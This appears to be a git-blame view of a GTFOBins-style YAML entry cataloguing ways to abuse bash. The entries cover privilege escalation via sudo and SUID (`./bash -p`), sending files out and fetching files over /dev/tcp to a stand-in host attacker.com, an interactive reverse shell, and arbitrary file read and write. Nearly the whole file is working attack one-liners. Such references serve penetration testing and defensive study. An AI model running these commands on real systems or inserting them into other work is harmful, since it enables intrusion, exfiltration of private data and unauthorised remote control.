2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-05-25 15:30:02 +02:00
|
|
|
execute-interactive:
|
2018-05-21 21:14:41 +02:00
|
|
|
- code: bash
|
|
|
|
sudo-enabled:
|
|
|
|
- code: sudo bash
|
|
|
|
suid-enabled:
|
|
|
|
- code: ./bash -p
|
|
|
|
upload:
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
|
2018-05-21 21:14:41 +02:00
|
|
|
code: |
|
2018-05-24 23:40:36 +02:00
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_send
|
2018-06-12 16:17:34 +02:00
|
|
|
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
|
2018-06-04 19:53:35 +02:00
|
|
|
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
|
2018-05-21 21:14:41 +02:00
|
|
|
code: |
|
2018-05-24 23:40:36 +02:00
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_send
|
|
|
|
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
|
2018-05-21 21:14:41 +02:00
|
|
|
download:
|
|
|
|
- description: Fetch a remote file via HTTP GET request.
|
|
|
|
code: |
|
2018-05-24 23:40:36 +02:00
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_get
|
2018-05-25 00:23:02 +02:00
|
|
|
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
|
|
|
|
3<>/dev/tcp/$RHOST/$RPORT \
|
|
|
|
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
|
2018-06-01 12:40:05 +02:00
|
|
|
code: |
|
2018-05-24 23:40:36 +02:00
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
export LFILE=file_to_get
|
|
|
|
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
|
2018-05-25 15:30:02 +02:00
|
|
|
reverse-shell-interactive:
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
2018-05-22 19:51:52 +02:00
|
|
|
code: |
|
2018-05-24 23:40:36 +02:00
|
|
|
export RHOST=attacker.com
|
|
|
|
export RPORT=12345
|
|
|
|
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
|
2018-05-28 19:55:44 +02:00
|
|
|
file-read:
|
2018-06-11 13:11:47 +02:00
|
|
|
- description: It trims trailing newlines and it's not binary-safe.
|
2018-05-28 19:09:16 +02:00
|
|
|
code: |
|
|
|
|
export LFILE=file_to_read
|
|
|
|
bash -c 'echo "$(<$LFILE)"'
|
2018-05-28 20:02:20 +02:00
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
export LFILE=file_to_write
|
|
|
|
bash -c 'echo data > $LFILE'
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|